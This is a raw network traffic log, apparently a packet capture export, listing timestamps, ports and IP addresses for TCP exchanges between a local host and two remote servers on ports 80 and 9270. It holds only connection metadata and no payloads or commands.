Dec 15, 2024 11:59:32.778091908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.778955936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.779000044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.779104948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.779136896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.780129910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.780180931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.780219078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.780252934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.781287909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.781327963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.781426907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.781462908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.782470942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.782563925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.782604933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.783664942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.783694029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.783710957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.783737898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.784794092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.784925938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.784970045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.786004066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.786051035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.786088943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.786123991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.787329912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.787374973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.787394047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.787426949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.788367033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.788408041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.788475037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.788574934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.789499044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.789537907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.789619923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.790662050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.790700912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.790808916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.790843964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.791898012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.791935921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.791969061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.792000055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.793019056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.793057919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.793122053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.793152094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.794199944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.794267893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.794303894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.795399904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.795438051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.795571089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.795653105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.796547890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.796586037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.796655893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.796685934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.797755003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.797847986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.797894955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.798901081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.798944950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.799005985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.799040079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.800101042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.800138950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.800167084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.800198078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.801278114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.801320076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.801399946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.801431894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.802411079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.802479029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.802514076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.803616047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.803662062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.803663969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.803697109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.804771900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.804816961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.804997921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.805032969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.805934906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.806055069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.806092024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.807130098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.807172060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.807200909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.807233095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.808269978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.808307886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.808448076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.808676004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.809463024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.809499025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.809556961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.809595108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.810627937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.810664892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.810786009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.810820103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.811784983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.811822891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.811893940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.811928034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.812984943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.813023090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.813225031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.813591957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.814119101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.814172029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.858146906 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.858203888 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.944792986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.944813967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.944864988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.945307016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.945349932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.945413113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.945450068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.946547031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.946594000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.946633101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.947663069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.947715044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.947751999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.947786093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.948854923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.948908091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.949052095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.949091911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.950047970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.950104952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.950133085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.950166941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.951172113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.951221943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.951293945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.951328993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.952348948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.952389956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.952404022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.952444077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.953516006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.953553915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.953622103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.954746008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.954783916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.954812050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.954843998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.955873013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.955909014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.956001043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.956032991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.957029104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.957062960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.957081079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.957113028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.958322048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.958436012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.958486080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.959371090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.959423065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.959482908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.959520102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.960578918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.960666895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.960700035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.960720062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.961698055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.961891890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.961934090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.964277029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.964340925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.964390039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.964420080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.965010881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.965049982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.965065956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.965097904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.965599060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.965643883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.965679884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.966445923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.966480970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.966506004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.966538906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.967593908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.967701912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.967736959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.968787909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.968894005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.968930006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.968961954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.969973087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.970014095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.970089912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.970115900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.971117973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.971215963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.971252918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.972347975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.972385883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.972554922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.972594976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.973495960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.973543882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.973639011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.973678112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.974682093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.974725962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.974731922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.974762917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.975939989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.975990057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.976022005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.976056099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.977164030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.977202892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.977406979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.977447987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.978741884 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.978806973 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.978842020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.978945971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.978982925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.979814053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.979860067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.979897022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.981386900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.981425047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.981472969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.981506109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.982304096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.982357979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.982381105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.982655048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.983074903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.983124018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.983161926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.984015942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.984060049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.984170914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.984507084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.985187054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.985317945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.985358953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.986367941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.986478090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.986521006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.987616062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.987659931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.987688065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.987732887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.988729954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.988773108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.988800049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.988840103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.989878893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.989953041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.990000963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.991044998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.991094112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.991118908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.991156101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.992230892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.992276907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.992397070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.992521048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.993458033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.993501902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.993573904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.994569063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.994654894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.994752884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.994813919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.994946003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.995739937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.995842934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.995881081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.996947050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.996988058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.997015953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.997055054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.998119116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.998163939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.998279095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.998351097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.999257088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.999397039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.999438047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.000426054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.000665903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.000705957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.001605034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.001681089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.001709938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.001748085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.002803087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.002841949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.002888918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.002928972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.003990889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.004121065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.004180908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.004226923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.005120039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.005233049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.005284071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.006257057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.007308006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.099952936 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.100028038 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.137003899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.137036085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.137096882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.137476921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.137512922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.137548923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.137587070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.138643980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.138684034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.138719082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.138750076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.139854908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.139894962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.139998913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.140032053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.141077995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.141109943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.141118050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.141140938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.142155886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.142272949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.142313004 CET	49805	80	192.168.2.4	31.41.244.11
